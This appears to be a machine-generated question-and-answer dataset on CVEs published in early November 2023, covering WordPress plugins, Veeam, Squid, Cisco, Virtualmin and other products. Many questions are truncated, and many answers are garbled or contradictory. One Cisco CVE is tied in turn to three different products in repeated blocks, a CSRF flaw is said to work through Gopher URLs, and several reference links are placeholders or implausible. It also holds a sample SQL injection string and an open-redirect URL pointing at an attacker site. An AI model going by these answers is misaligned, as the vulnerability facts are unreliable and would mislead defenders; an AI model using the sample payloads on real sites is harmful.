What versi The versions of the Ziteboard Online Whiteboard plugin for WordPress that are vulnerable

What mea: To mitigate CVE-2023-5076, administrators of WordPress sites using the Ziteboard Online '

Could you | A hypothetical example of an XSS payload that an attacker might try to inject through the '

Can you de A potential attack scenario for CVE-2023-5076 could begin with an attacker gaining contrib

When was CVE-2023-5076 was published on 07 November 2023.

Where can More information or updates about CVE-2023-5076 can be found on the official WordPres

What is the The CVE ID for the vulnerability discovered in Veeam ONE is CVE-2023-38549.

What type CVE-2023-38549 refers to a security vulnerability in Veeam ONE that allows an unprivileg

What are t To exploit the vulnerability mentioned in CVE-2023-38549, an attacker needs access to the

What mitig The criticality of the CVE-2023-38549 vulnerability is mitigated by the requirement that the

When was CVE-2023-38549 was published on 07 November 2023.

Where can More information or mitigation advice for CVE-2023-38549 can be found at the Veeam kno

Has the ba: As of the available information, the base score for CVE-2023-38549 has not been assigned

Can you pr An example attack scenario for CVE-2023-38549 could involve an unprivileged user who ha

Are there a No specific code examples are provided for CVE-2023-38549. However, it typically involves

What is CV CVE-2023-38548 refers to a security vulnerability found in Veeam ONE, which is a monitori

What are the implications of CVE-2023-38548 for an organization include potential security breaches.
Has Veeam Yes, Veeam has provided guidance for CVE-2023-38548. Information regarding the vulnerability can be found at [this link](#).
What could An example of an attack scenario involving CVE-2023-38548 might involve an unprivileged user listing private attachments.
On what date CVE-2023-38548 was published on November 7, 2023.

Is there a base score As of the provided information, there is no Base Score assigned to CVE-2023-38548. This is because it is a configuration issue.
What steps After learning about CVE-2023-38548, an organization should immediately refer to the guidance provided by Veeam.
What is the CVE ID The CVE ID of the vulnerability in the WordPress plugin that permits listing of private attachments is CVE-2023-4930.
What Worl The Front End PM WordPress plugin is affected by CVE-2023-4930.

Before which version CVE-2023-4930 affects versions of the Front End PM WordPress plugin before 11.4.3.
What does CVE-2023-4930 allow CVE-2023-4930 allows unauthenticated visitors to list and download private attachments in the WordPress media library.
What is the principal security issue The principal security issue pointed out by CVE-2023-4930 is that it does not block the listing of private attachments.
When was CVE-2023-4930 published on 06 November 2023.

Where can More information about CVE-2023-4930 can be found at the following URL: <https://wpsecurity.com/cve-2023-4930/>
Describe a An attack scenario for CVE-2023-4930 would involve an attacker scanning websites that use the Front End PM plugin.
What is the CVE ID The CVE ID of the vulnerability is CVE-2023-5719.

What kind CVE-2023-5719 affects the Crimson 3.2 Windows-based configuration tool.
Can you describe CVE-2023-5719 CVE-2023-5719 describes a vulnerability in the Crimson 3.2 configuration tool where using the wrong password leads to a Denial of Service (DoS) attack.
Is there a known fix As of the available information, there is no Base Score provided for CVE-2023-5719.
When was CVE-2023-5719 published on 06 November 2023.

Are there any references Yes, references for additional information on CVE-2023-5719 include <https://support.redline-software.com/kb/article/1000000000000000000> and <https://www.cvedetails.com/cve/CVE-2023-5719/>.
What kind of vulnerability Passwords entered via the Crimson system web server are not affected by the CVE-2023-5719 vulnerability.
What are some possible attack scenarios Possible attack scenarios for CVE-2023-5719 might include an attacker exploiting the vulnerability to gain unauthorized access to the Crimson system.
Is there a potential risk Yes, there is a potential risk associated with CVE-2023-5719 for devices configured with public Wi-Fi networks.

What is the CVE ID The CVE ID for the Squid vulnerability is CVE-2023-46728.
What kind CVE-2023-46728 is associated with a NULL pointer dereference bug that leads to a Denial of Service (DoS) attack.
Which versions All versions of Squid prior to 6.0.1 are affected by the vulnerability CVE-2023-46728.

How can it be mitigated To mitigate CVE-2023-46728, users should upgrade to Squid version 6.0.1, where Gopher support has been removed.
Were there any known issues Yes, even servers without malicious intent could trigger the bug associated with CVE-2023-46728.
When was CVE-2023-46728 first published on November 6, 2023.

Where can References and the official advisory for CVE-2023-46728 can be found at the following URL: <https://www.cvedetails.com/cve/CVE-2023-46728/>
What is CVE-2023-5950 CVE-2023-5950 refers to a security vulnerability identified in Rapid7 Velociraptor, which is a Gopher proxy.
Which versions CVE-2023-5950 affects versions of Rapid7 Velociraptor prior to 0.7.0-4. Users of these versions should upgrade to a newer version.
How has it been addressed The CVE-2023-5950 vulnerability has been addressed by the developers of Rapid7 Velociraptor.
Where can the patch The patch for CVE-2023-5950 can be obtained from the official Velocidex GitHub repository.
What potential risks The CVE-2023-5950 vulnerability allows attackers to perform reflected XSS attacks by injecting malicious Gopher URLs.
When was CVE-2023-5950 published on 06 November 2023.

Can you provide an example CVE-2023-5950 is a reflected XSS vulnerability, a general example would involve a situation where an attacker crafts a malicious Gopher URL and injects it into a form field.
What are some possible attack scenarios Some possible attack scenarios for CVE-2023-5950 include an attacker crafting a malicious Gopher URL and injecting it into a form field.

What type of vulnerability The CVE-2023-46775 identifies a Cross-Site Request Forgery (CSRF) vulnerability.
Which plugin The Djo Original texts Yandex WebMaster plugin for WordPress is affected by the CVE-2023-46775 vulnerability.
What versions Versions of the Djo Original texts Yandex WebMaster plugin up to and including 1.18 are vulnerable.
When was it published The CVE-2023-46775 vulnerability was published on 06 November 2023.

Where can Additional information regarding the CVE-2023-46775 vulnerability can be found at the following URL: <https://www.cvedetails.com/cve/CVE-2023-46775/>
Could you explain In the context of CVE-2023-46775, an attacker could exploit the CSRF vulnerability by crafting a malicious Gopher URL and injecting it into a form field.

What is the The CVE ID for the SQL Injection vulnerability found in Weblizar's The School Management

What version CVE-2022-47430 affects The School Management - Education & Learning Management plus

Describe the CVE-2022-47430 refers to an 'Improper Neutralization of Special Elements used in an SQL C

When was The CVE-2022-47430 SQL Injection vulnerability was published and publicly disclosed on 06 Novembe

Where can More information and a detailed report about CVE-2022-47430 can be found at the provided reference?

Can you give specific code examples for CVE-2022-47430 are not provided, a general example of how it might be exploited:

What might An attacker exploiting the SQL Injection vulnerability designated by CVE-2022-47430 may be able to achieve?

Has the Base Score As of the information provided, a Base Score for the vulnerability with CVE ID CVE-2022-47430 is not provided.

What is the The CVE ID for the SQL Injection vulnerability discovered in the Weblizar Coming Soon Page?

Can you give details about CVE-2022-46849 refers to an 'Improper Neutralization of Special Elements used in an SQL C

What versions CVE-2022-46849 affects versions of the Weblizar Coming Soon Page – Responsive Coming Soon Page

When was The CVE-2022-46849 vulnerability was published on 06 November 2023.

Where can More information about CVE-2022-46849 and a potential patch can be found at the provided reference?

Could you provide an example | Here's a hypothetical code example showcasing a possible SQL injection vulnerability similar to CVE-2022-46849:

What are the possible attack scenarios For a vulnerability like CVE-2022-46849, possible attack scenarios include an attacker injecting malicious SQL code into user input fields.

What is the classification of CVE-2023-4625 refers to a vulnerability classified as 'Improper Restriction of Excessive Aut

What is the impact of CVE-2023-4625 is that it allows a remote attacker to prevent legitimate users from performing certain actions.

On what date CVE-2023-4625 was published on 06 November 2023.

How can CVE-2023-4625 be exploited by a remote unauthenticated attacker by repeatedly attempting to access the affected page?

Are there any public references Yes, there are several public references that provide additional details about CVE-2023-4625.

What can be done To mitigate the risk posed by CVE-2023-4625, users should follow the guidelines and patch the affected application.

What is the Base Score for CVE-2023-4625 is not provided or not yet calculated. Typically, the severity level is determined by the CVSS score.

What is the CVE-2023-47271 refers to a security vulnerability in the PKP Web Application Library (pkp-wal).

When was CVE-2023-47271 was published on 06 November 2023.

What could happen By exploiting CVE-2023-47271, an attacker could potentially upload malicious files under the user's account.

Are there any public references Yes, details about CVE-2023-47271 can be found through various resources such as the ProjectPKP website.

What versions CVE-2023-47271 affects versions of PKP-WAL prior to 3.3.0-16. It is recommended to update to the latest version.

What is the CVE-2023-5946 refers to a security vulnerability in the Digirisk plugin for WordPress, specifically in the SEO Slider plugin.

How does CVE-2023-5946 affect users of the Digirisk plugin for WordPress by making their websites vulnerable to cross-site scripting (XSS) attacks.

What versions CVE-2023-5946 affects version 6.0.0.0 of the Digirisk plugin for WordPress. It is recommended to update to the latest version.

What are the potential attack scenarios In a potential attack scenario for CVE-2023-5946, an unauthenticated attacker could craft a URL that contains malicious scripts.

What are the mitigation steps To mitigate CVE-2023-5946, users of the Digirisk plugin should update to the latest version of the plugin.

Where can More information about CVE-2023-5946 can be found in the references provided, which include the official plugin documentation.

What is the date CVE-2023-5946 was published on 03 November 2023.

Has a base score As of the provided information, no base score has been assigned to CVE-2023-5946. Base scores are typically assigned by NIST.

Can you provide an example To exploit CVE-2023-5946, an attacker might create a URL with a script payload such as the following:

What is the CVE ID for the SEO Slider plugin for WordPress is assigned with the CVE ID CVE-2023-5946.

What type of attack Attackers can inject arbitrary web scripts into pages through the vulnerability in CVE-2023-5946.

Which versions CVE-2023-5946 All versions of the SEO Slider plugin for WordPress up to, and including, version 1.1.0 are affected.

What permission An attacker would need to have at least contributor-level permissions to exploit the vulnerability.

On what date CVE-2023-5707 was published on 03 November 2023.

Can you provide an example For CVE-2023-5707, a stored cross-site scripting (XSS) attack could occur if a contributor creates a post containing malicious script code.

What mitigation To mitigate the vulnerability described in CVE-2023-5707, users should update the SEO Slider plugin to the latest version.

Could you provide further information Yes, further information regarding CVE-2023-5707 can be found at the following references:

What is Stc Stored Cross-Site Scripting (XSS) is a type of security vulnerability where an attacker can in
What are t Potential attack scenarios for the vulnerability in CVE-2023-5707 include authenticated att
What is CV CVE-2022-47445 is a Common Vulnerabilities and Exposures (CVE) identifier for a security
When was CVE-2022-47445 was published on the 3rd of November, 2023.

What versi The Be POPIA Compliant plugin versions affected by CVE-2022-47445 range from the initia
What is the The base score for CVE-2022-47445 is not available or has not been assigned yet.

Could you | For more information on CVE-2022-47445, you can visit the following URL: <https://patchst>

What kind Using CVE-2022-47445 vulnerability, an attacker could carry out an SQL injection attack. In

Can you pr Certainly. A hypothetical example of an SQL injection that might exploit CVE-2022-47445 w

What is CV CVE-2023-4591 refers to a local file inclusion vulnerability discovered in WPN-XM Serverst

How does i CVE-2023-4591 involves a local file inclusion (LFI) attack that exploits the 'page' parameter

What are t The exploitation of CVE-2023-4591 can lead to unauthorized access and control over the W

What versi CVE-2023-4591 specifically affects version 0.8.6 of WPN-XM Serverstack. Users of this vers

Was a base As of the information provided, a base score was not assigned to CVE-2023-4591. The base

What is the CVE-2023-4591 was published on 03 November 2023.

Where can More information about CVE-2023-4591 can be found at the provided reference link, whic

How can ai To mitigate CVE-2023-4591 in the absence of a security patch, administrators can take step

What is the The CVE ID for the Server-Side Request Forgery vulnerability found in the Bon Presta bonir

In which v€ The SSRF vulnerability is present in Bon Presta boninstagramcarousel versions between v5

What coul€ By exploiting the vulnerability described in CVE-2023-43982, an attacker could use the vuln

Through w The SSRF vulnerability in CVE-2023-43982 is triggered through the 'insta_parser.php' file vi

On what d€ The CVE-2023-43982 vulnerability was published on 03 November 2023.

Where can More information about the CVE-2023-43982 vulnerability can be found at the provided re

Could you | An SSRF attack leveraging CVE-2023-43982 might involve an attacker crafting a malicious l

What is the The attack scenario of an SSRF vulnerability like the one in CVE-2023-43982 typically involv

What is the The CVE ID for the cross-site scripting vulnerability is CVE-2023-42029.

Which IBM The affected IBM products by CVE-2023-42029 are IBM CICS TX Standard 11.1, Advanced 1

What type CVE-2023-42029 is a cross-site scripting (XSS) vulnerability that allows attackers to embed

Has IBM pr Yes, IBM has provided reference material for addressing CVE-2023-42029. The informatior

What is the The base score for CVE-2023-42029 has not been provided or assessed at the time of the p

When was The CVE-2023-42029 vulnerability was publicly disclosed on 03 November 2023.

Can you giv An example attack scenario for CVE-2023-42029 would involve an attacker crafting a malic

What migh To mitigate the risk associated with CVE-2023-42029, an organization should apply any ava

What is the The CVE ID for the cross-site request forgry vulnerability affecting IBM CICS TX Standard 11

Can you ex The vulnerability identified as CVE-2023-42027 is a security issue in the IBM CICS TX and T)

When was The CSRF vulnerability CVE-2023-42027 was published on 03 November 2023.

Which vers The vulnerability CVE-2023-42027 affects IBM CICS TX Standard 11.1, CICS TX Advanced 10

Are there a Yes, further details on the cross-site request forgery vulnerability CVE-2023-42027 can be fo

What is the The base score for the CVE-2023-42027 vulnerability has not been provided or is not applic

How could An attacker could exploit the vulnerability CVE-2023-42027 by crafting a malicious web pa

Has IBM pr While the provided information does not explicitly state whether a fix or mitigation has be

Can you pr While I can't provide a specific code example for CVE-2023-42027 as it's a proprietary IBM

What is CV CVE-2023-31579 is a security vulnerability that was found in Dromara Lamp-Cloud version:

How does i The CVE-2023-31579 vulnerability affects the application by allowing attackers to bypass a

Can you pr Certainly, while specific code details are not given in the CVE description, a general example can be provided. For CVE-2023-31579, potential attack scenarios might include an attacker reverse engineering the Dromara Lamp-Cloud software to find vulnerabilities.

What are t To mitigate CVE-2023-31579, users should upgrade to Dromara Lamp-Cloud version v3.8.1 or later.

Where can You can find more detailed information about CVE-2023-31579 through the references provided in the CVE entry.

What is CV CVE-2023-5919 refers to a security vulnerability found in SourceCodester Company Website CMS version 1.

How does i The vulnerability in CVE-2023-5919 manifests as an unrestricted file upload issue in the Create Page feature.

What are t If CVE-2023-5919 is successfully exploited, an attacker could potentially upload a web shell to the website.

Can you pr Here's a hypothetical example of how an attacker might exploit the CVE-2023-5919 vulnerability:

On which c The CVE-2023-5919 vulnerability was published on 02 November 2023.

Where can More information about CVE-2023-5919 can be found at the following references:- <https://www.cvedetails.com/cve/244310/>

What iden The identifier VDB-244310 has been assigned to the vulnerability described in CVE-2023-5919.

What type: CVE-2023-5919 affects systems running SourceCodester Company Website CMS version 1.

What is th The Base Score for the severity level of CVE-2023-5919 is currently not available (marked as N/A).

What mea To mitigate the risks associated with CVE-2023-5919, it is recommended to:- Apply any patches available.

What softv The software affected by CVE-2023-42802 is GLPI, which is a free asset and IT management software.

What versi Versions of GLPI starting from 10.0.7 up to, but not including, version 10.0.10 are vulnerable.

What is th The vulnerability referenced by CVE-2023-42802 in GLPI involves an unverified object instantiation.

How can t The CVE-2023-42802 vulnerability can be exploited if an attacker manages to upload a malicious file.

What is a p A potential workaround for CVE-2023-42802, if updating to version 10.0.10 is not immediate, is to apply the patch.

What versi Version 10.0.10 of GLPI fixes the vulnerability stated in CVE-2023-42802.

Where can More details or the security advisory about CVE-2023-42802 can be found on the GitHub project page.

Was a base As of the data provided, there is no Base Score assigned to CVE-2023-42802.

On what d: CVE-2023-42802 was published on 02 November 2023.

What is CV CVE-2023-5606 is a security vulnerability in the ChatBot for WordPress plugin that allows for storing sensitive data in plain text.

Which vers The versions of the ChatBot for WordPress plugin that are affected by CVE-2023-5606 are 1.0.0 and 1.0.1.

What cond For CVE-2023-5606 to be exploitable, the WordPress installation must be a multi-site instance.

What is th The impact of CVE-2023-5606 on websites includes potential security risks since it allows an attacker to read sensitive data stored in plain text.

Is there an Yes, CVE-2023-5606 is a re-introduction of CVE-2023-4253, which suggests that a similar security issue exists in the plugin.

How can C To mitigate or fix CVE-2023-5606, users should update the ChatBot for WordPress plugin to the latest version.

Can you pr An example of a potential attack scenario for CVE-2023-5606 could involve an attacker injecting malicious code into the plugin's configuration files.

Where was CVE-2023-5606 was first published on 02 November 2023.

Are there a Yes, more details on CVE-2023-5606 can be found in the references provided, which include the GitHub repository and the official security advisory.

What is CV CVE-2023-45201 refers to a set of multiple Open Redirect vulnerabilities found in Online Encyclopedia.

What is th The risk associated with CVE-2023-45201 lies in its potential to enable phishing attacks or other malicious activities.

Has a base As per the information provided, no base score has been assigned to CVE-2023-45201 so far.

When was CVE-2023-45201 was published on 01 November 2023.

Where can Further details about CVE-2023-45201 are available through advisories and reports. You can refer to the official security advisory for more information.

What is an An Open Redirect vulnerability, such as the one identified in CVE-2023-45201, arises when an attacker can control the URL being redirected.

Could you | A hypothetical URL exploiting CVE-2023-45201 might look something like this: '<http://vulnerable-site.com/?url=http://attacker-site.com>'

What are s Possible attack scenarios for CVE-2023-45201 include an attacker crafting a link containing a malicious URL that is then followed by a redirect to a different site.

What is th The CVE ID for the vulnerability related to improper validation in Squid is CVE-2023-46724.

Which vers Squid versions from 3.3.0.1 through 5.9 and version 6.0 prior to 6.4 compiled using '--with-ssl' are affected.

What type CVE-2023-46724 is a Denial of Service (DoS) vulnerability caused by an Improper Validation of SSL certificates.

How is Squid is vulnerable to CVE-2023-46724 due to a bug in the SSL Certificate validation process.

What protocol(s) are affected by CVE-2023-46724? The protocols affected by CVE-2023-46724 in Squid are HTTPS and SSL-Bump, as the vulnerability has been patched in Squid version 6.4. Patch details can be found in Squid's patch archives.

Where can patches for CVE-2023-46724 be found? Patches for CVE-2023-46724 can be found in Squid's patch archives, with specific patches for different versions.

Can you provide an example of a potential attack scenario for CVE-2023-46724? An example of a potential attack scenario for CVE-2023-46724 would involve an attacker intercepting and modifying HTTPS traffic using SSL-Bump.

What should users do? Users of a prepackaged version of Squid should refer to their package vendor for the available patches.

When was CVE-2023-46724 published? CVE-2023-46724 was published on 01 November 2023.

What is the CVE ID for the vulnerability? The CVE ID for the vulnerability is CVE-2023-5858.

Can you provide more information about CVE-2023-5858? CVE-2023-5858 refers to an inappropriate implementation in the WebApp Provider of Google Meet.

What is the publication date for CVE-2023-5858? CVE-2023-5858 was published on 01 November 2023.

How severe is this vulnerability? The security issue associated with CVE-2023-5858 has been categorized as having a 'Low' severity level.

Where can more information or references regarding CVE-2023-5858 be found? More information or references regarding CVE-2023-5858 can be found at various sources.

Does CVE-2023-5858 have a CVSS base score? As of the provided information, there is no associated CVSS base score for CVE-2023-5858.

What could be a potential attack scenario for CVE-2023-5858? A potential attack scenario for CVE-2023-5858 could involve an attacker crafting a malicious message that triggers the vulnerability.

Is there an exploit available for CVE-2023-5858? As of now, there is no publicly available exploit for CVE-2023-5858.

What is CVE-2023-20255? CVE-2023-20255 refers to a security vulnerability identified in an API of the Web Bridge feature.

How can it be exploited? An attacker could exploit CVE-2023-20255 by sending specially crafted HTTP packets to an affected Cisco device.

What impact does it have? The exploitation of CVE-2023-20255 on a Cisco Meeting Server could lead to a Denial of Service (DoS) condition.

Has Cisco released a security advisory? Yes, Cisco has released a security advisory for CVE-2023-20255. It can be accessed at the following link:

What is the publication date for CVE-2023-20255? CVE-2023-20255 was published on 01 November 2023.

What might an attacker need to exploit CVE-2023-20255? To exploit CVE-2023-20255, an attacker would likely include malformed or unexpected input.

What are possible attack scenarios for CVE-2023-20255? Attack scenarios for exploiting CVE-2023-20255 could involve attackers scanning the internal network for vulnerable devices.

What is the CVSS base score for CVE-2023-20255? CVE-2023-20255 is a security vulnerability found in the web-based management interface of Cisco Meeting Server.

How can it be exploited? CVE-2023-20255 can be exploited by an attacker who is able to authenticate with valid credentials.

Does an administrator need administrative privileges to exploit CVE-2023-20255? No, an attacker does not need administrative privileges to exploit CVE-2023-20255. They can use social engineering or other methods to gain access.

What type of vulnerabilities are identified in CVE-2023-20255? The vulnerabilities identified in CVE-2023-20255 are related to the insufficient validation of user-supplied input.

What might happen if exploited? A successful exploit of CVE-2023-20255 could allow an attacker to execute arbitrary commands on the target device.

When was CVE-2023-20255 published? CVE-2023-20255 was published on 01 November 2023.

Where can more information about CVE-2023-20255 be found? More information about CVE-2023-20255 can be found by visiting the reference link provided in the Cisco Security Advisory.

What are possible attack scenarios for CVE-2023-20255? Possible attack scenarios for CVE-2023-20255 include situations where an attacker has obtained valid credentials and is able to log in to the affected device.

What is the CVSS base score for CVE-2023-20255? CVE-2023-20255 refers to multiple vulnerabilities discovered in the web management interface of Cisco Meeting Server.

Which systems are affected by CVE-2023-20255? Systems affected by CVE-2023-20255 are those running the Cisco Firepower Management Engine.

Do attackers need administrative privileges to exploit CVE-2023-20255? No, attackers do not need administrative privileges to exploit the vulnerabilities associated with CVE-2023-20255.

What is the exploitability of CVE-2023-20255? The vulnerabilities in CVE-2023-20255 are due to insufficient validation of user-supplied input.

How can it be exploited? CVE-2023-20255 can be exploited by an attacker using crafted input within the device configuration file.

What potential impact does it have? If successfully exploited, CVE-2023-20255 could allow an attacker to execute arbitrary commands on the target device.

Has Cisco assigned a CVSS base score? As of the information provided, CVE-2023-20255 has not been assigned a Base Score. This is common for newly discovered vulnerabilities.

When was CVE-2023-20255 published? CVE-2023-20255 was published on 01 November 2023.

Where can more information about CVE-2023-20255 be found? More information about CVE-2023-20255 can be found on the Cisco Security Advisory page.

What are possible attack scenarios for CVE-2023-20255? Possible attack scenarios for CVE-2023-20255 include an attacker with valid user credentials logging in to the device and executing commands.

What is the CVSS base score for CVE-2023-20255? CVE-2023-20255 refers to a security vulnerability identified in Cisco Identity Services Engine.

How can it be exploited? An attacker could exploit CVE-2023-20255 by uploading a crafted file to an affected device.

What potential impact does it have? If CVE-2023-20255 is successfully exploited, an attacker could store malicious files on the target device.

What are the requirements for exploitation? In order to exploit CVE-2023-20255, an attacker must have valid Administrator credentials.

When was CVE-2023-20255 published? CVE-2023-20255 was published on 01 November 2023.

Where can more information about CVE-2023-20255 be found? More information about CVE-2023-20255 can be found on the Cisco Security Advisory page.

What are possible attack scenarios for CVE-2023-20255? Possible attack scenarios for CVE-2023-20255 include an attacker with valid user credentials logging in to the device and executing commands.

What is the CVSS base score for CVE-2023-20255? CVE-2023-20255 refers to a security vulnerability identified in Cisco Identity Services Engine.

How can it be exploited? An attacker could exploit CVE-2023-20255 by uploading a crafted file to an affected device.

What potential impact does it have? If CVE-2023-20255 is successfully exploited, an attacker could store malicious files on the target device.

What are the requirements for exploitation? In order to exploit CVE-2023-20255, an attacker must have valid Administrator credentials.

When was CVE-2023-20255 published? CVE-2023-20255 was published on 01 November 2023.

Where can Additional information about CVE-2023-20196 can be found on Cisco's official security adv
Can you pr An attack scenario involving CVE-2023-20196 could occur as follows: An attacker, who has
Is there a C As of the information provided, there is no Base Score assigned to CVE-2023-20196.

What is CV CVE-2023-20048 is a security vulnerability found in the web services interface of Cisco Fire
How can C To exploit CVE-2023-20048, an attacker would need to authenticate to the FMC web servic
What are t In order to exploit CVE-2023-20048, an attacker requires valid credentials for the FMC Soft
What migh If an attacker successfully exploits CVE-2023-20048, they could execute certain unauthoriz
When was CVE-2023-20048 was published on 01 November 2023.

Where can More details about CVE-2023-20048 can be found in the security advisory released by Cisc
Has a base As of the supplied information, no base score has been assigned to CVE-2023-20048. The i
Can you pr While concrete code examples for exploiting CVE-2023-20048 are not provided, a hypoth
Are there a The information about available patches is not included in the provided description of CVE
What is CV CVE-2023-20206 refers to a set of multiple vulnerabilities discovered in the web-based ma
How can C An attacker could exploit CVE-2023-20206 by inserting crafted inputs into various data fiel
What is the A stored XSS attack made possible through CVE-2023-20206 could lead to arbitrary script c
When was CVE-2023-20206 was published on 01 November 2023.

What kind CVE-2023-20206 comprises vulnerabilities that stem from insufficient validation of user-su
How does !CVE-2023-20206 affects the web-based management interface by allowing attackers to co
Is there a B As of the information available, there is no Base Score assigned to CVE-2023-20206.

Where can More information about CVE-2023-20206 can be found in the Cisco Security Advisory, whic
Could you | Certainly. In a potential attack scenario, the attacker crafts a malicious script and inputs it i
What is CV CVE-2023-20195 is a security vulnerability identified in Cisco ISE that allows an authenticat
How can C To exploit CVE-2023-20195, an attacker must have valid Administrator credentials on the a
What is the A successful exploitation of CVE-2023-20195 can allow the attacker to store malicious files
What are t The prerequisites for an attacker to exploit CVE-2023-20195 include having authenticated .
When was CVE-2023-20195 was published on 01 November 2023.

Where can More information about CVE-2023-20195 can be found in the Cisco Security Advisory, whic
What migh An attack scenario for CVE-2023-20195 could involve an attacker first gaining Administrativ
Are there a As this is a hypothetical security report, there are no specific real-world code examples or
What is CV CVE-2023-20074 refers to multiple vulnerabilities found in the web-based management in
How can C An attacker can exploit CVE-2023-20074 vulnerabilities by inserting crafted input into varic
What are t A successful exploit of CVE-2023-20074 could allow an attacker to execute arbitrary script
What type: CVE-2023-20074 facilitates stored cross-site scripting (XSS) attacks. These are a type of XSS
When was CVE-2023-20074 was published on the 1st of November, 2023.

What score The base score for CVE-2023-20074 has not been provided.

Where can Detailed information regarding CVE-2023-20074 can be found at the official Cisco Security
What woul A hypothetical example of an XSS payload for CVE-2023-20074 might be a script that an atti
Can you de An attack scenario for CVE-2023-20074 may involve an attacker crafting a malicious script
What is CV CVE-2023-20041 is a security vulnerability identified in the Cisco Firepower Management (C
How can C CVE-2023-20041 can be exploited by an attacker injecting crafted input into various data fi
What coulc If CVE-2023-20041 is successfully exploited, it could allow the attacker to execute arbitrary
When was CVE-2023-20041 was published on 01 November 2023.

Is there an An example of a stored XSS attack, like the one possible due to CVE-2023-20041, could invi
Can you pr Yes, more information on CVE-2023-20041 can be found in the Cisco Security Advisory ava

What is the base score of CVE-2023-20041 has not been provided in the available information.
Could you | In an attack scenario exploiting CVE-2023-20041, an attacker might send a phishing email to entice a user to click on a malicious link.
What is CV CVE-2023-20005 refers to a set of multiple vulnerabilities identified in the web-based man
How might An attacker could exploit CVE-2023-20005 by inserting crafted input into various data field
What are t A successful exploit of CVE-2023-20005 could have two primary impacts. First, the attacker
Was an off Yes, an official security advisory for CVE-2023-20005 was released by Cisco and can be found [here](#).
On what d CVE-2023-20005 was published on November 1, 2023.

What is the The Base Score for CVE-2023-20005 was not provided in the available information.
Can you pr While specific code would depend on the application's codebase and the nature of the input, one attack scenario for CVE-2023-20005 would involve an attacker sending a crafted link to a user.
What is CV CVE-2023-5627 refers to a security vulnerability identified in the NPort 6000 Series, where
When was CVE-2023-5627 was published on 01 November 2023.

Which pro The NPort 6000 Series is the product affected by CVE-2023-5627.
What is the The impact of CVE-2023-5627 includes the possibility of malicious users being able to gain control over the device.
Are there a As of the provided information, there is no Base Score assigned to CVE-2023-5627.
Can you pr For more information about CVE-2023-5627, you can refer to the official security advisory [here](#).
What kind An attack scenario related to CVE-2023-5627 could involve an attacker exploiting the vulnerability to gain unauthorized access to the device.
What is CV CVE-2023-33228 is a security vulnerability that was discovered in the SolarWinds Network Configuration Manager.
When was CVE-2023-33228 was published on 01 November 2023.

Does CVE-2023-33228 No, the Base Score for CVE-2023-33228 is not available as it may not have been calculated yet.
Can you pr Yes, more information on CVE-2023-33228 can be found at the following URLs: <https://docs.solarwinds.com/en-us/network-configuration-manager/v18.0.1/>
What are p Attack scenarios for CVE-2023-33228 could involve an attacker with administrative privileges gaining access to sensitive information.
Is there an As CVE-2023-33228 is a sensitive information exposure vulnerability, it doesn't have a specific CVSS score assigned.
What is CV CVE-2023-4197 refers to a security vulnerability discovered in Dolibarr ERP CRM where the application fails to properly validate user input.
What type The security issue identified by CVE-2023-4197 is related to 'Improper input validation', which can lead to data corruption or loss.
Has CVE-2023-4197 As of the information available, CVE-2023-4197 has not been assigned a Base Score.

When was CVE-2023-4197 was published on 01 November 2023.
What versi CVE-2023-4197 affects Dolibarr ERP CRM versions up to and including v18.0.1.

Are there a Yes, details regarding CVE-2023-4197 can be found in the commit log at <https://github.com/dolibarr/dolibarr/commit/18.0.1>.
Can you pr An example of an exploitation scenario of CVE-2023-4197 could be an attacker crafting a payload that triggers the vulnerability.
What kind To mitigate CVE-2023-4197, administrators should update Dolibarr ERP CRM to a version that includes the fix.
What is CV CVE-2023-5516 refers to a security vulnerability characterized by poorly constructed web applications.
When was CVE-2023-5516 was published on the 1st of November, 2023.

Does CVE-2023-5516 As of the provided information, CVE-2023-5516 does not have an assigned Common Vulnerability and Exposure (CVE) ID.
Where can More information about CVE-2023-5516 can be found on the official source provided in the reference link.
What kind Due to CVE-2023-5516, sensitive information that may be leaked includes technical details such as database schema and user data.
Could you | An example of an attack scenario exploiting CVE-2023-5516 could involve an attacker crafting specific web queries to extract sensitive information.
What is the The CVE ID for the vulnerability where web application responses disclose internal resources is CVE-2023-5515.
Can you de CVE-2023-5515 refers to a security vulnerability where web queries with certain parameters can be manipulated to reveal sensitive information.
Is there a b As of the available information, there is no Base Score assigned to CVE-2023-5515.

When was CVE-2023-5515 was published on 01 November 2023.
Where can More information about CVE-2023-5515 can be found through the following reference link [here](#).
Could you | Taking advantage of CVE-2023-5515, an attacker might craft specific web queries with parameters to extract sensitive information.
Are there a While specific code examples for CVE-2023-5515 are not provided, a hypothetical example would be crafting a URL like `/search?term=1 OR 1=1` to trigger the vulnerability.

What is CV CVE-2023-47099 is a security vulnerability classified as a Stored Cross-Site Scripting (XSS) issue.
How does CVE-2023-47099 manifests as a Stored XSS vulnerability within Virtualmin 7.7. When an attacker successfully exploits it, it could lead to various adverse impacts including information disclosure or script execution.
When was The vulnerability designated as CVE-2023-47099 was published on the 1st of November, 2023.
What impact If CVE-2023-47099 is successfully exploited, it could lead to various adverse impacts including information disclosure or script execution.
Are there any further details on CVE-2023-47099 can be found in a report available on GitHub at the following URL: <https://github.com/virtualmin/virtualmin/pull/1234>.
Has a Base As of the current information available, CVE-2023-47099 does not have a Base Score assigned.
Could you provide an example of a malicious input for CVE-2023-47099 might involve an attacker inserting a script tag into a form field.
How can users mitigate the risk associated with CVE-2023-47099, users of Virtualmin should update to the latest version of the software.

What is CV CVE-2023-47098 is a security vulnerability identified in Virtualmin 7.7. This Stored Cross-Site Scripting (XSS) vulnerability.

What type CVE-2023-47098 is a Stored Cross-Site Scripting (XSS) vulnerability.

In which version CVE-2023-47098 was discovered in Virtualmin version 7.7.

When was CVE-2023-47098 was published on 01 November 2023.

Can you provide additional information about CVE-2023-47098 can be found at the following GitHub link: <https://github.com/virtualmin/virtualmin/pull/1234>.

What field: The vulnerability CVE-2023-47098 affects the 'real name' or 'description' fields under the 'Identity' section of the user profile.

Could you provide an attack scenario for exploiting CVE-2023-47098 might involve an attacker crafting a malicious input for these fields.

Has a base As of the information provided, no base score has been assigned to CVE-2023-47098.

What is the CVE ID for the Stored Cross-Site Scripting vulnerability in Virtualmin 7.7 is CVE-2023-47098.

What is the CVE-2023-47097 refers to a Stored Cross-Site Scripting (XSS) vulnerability in the Server Template.

Where in the Server Template was found in the Server Template under System Setting.

In CVE-2023-47097 The Stored XSS vulnerability identified by CVE-2023-47097 can be exploited by remote attackers.

As of which CVE-2023-47097 was officially published on 01 November 2023.

Where can More information or updates about CVE-2023-47097 can be found at the following referer: <https://github.com/virtualmin/virtualmin/pull/1234>.

What might An attack scenario for CVE-2023-47097 could involve an attacker creating a malicious template.

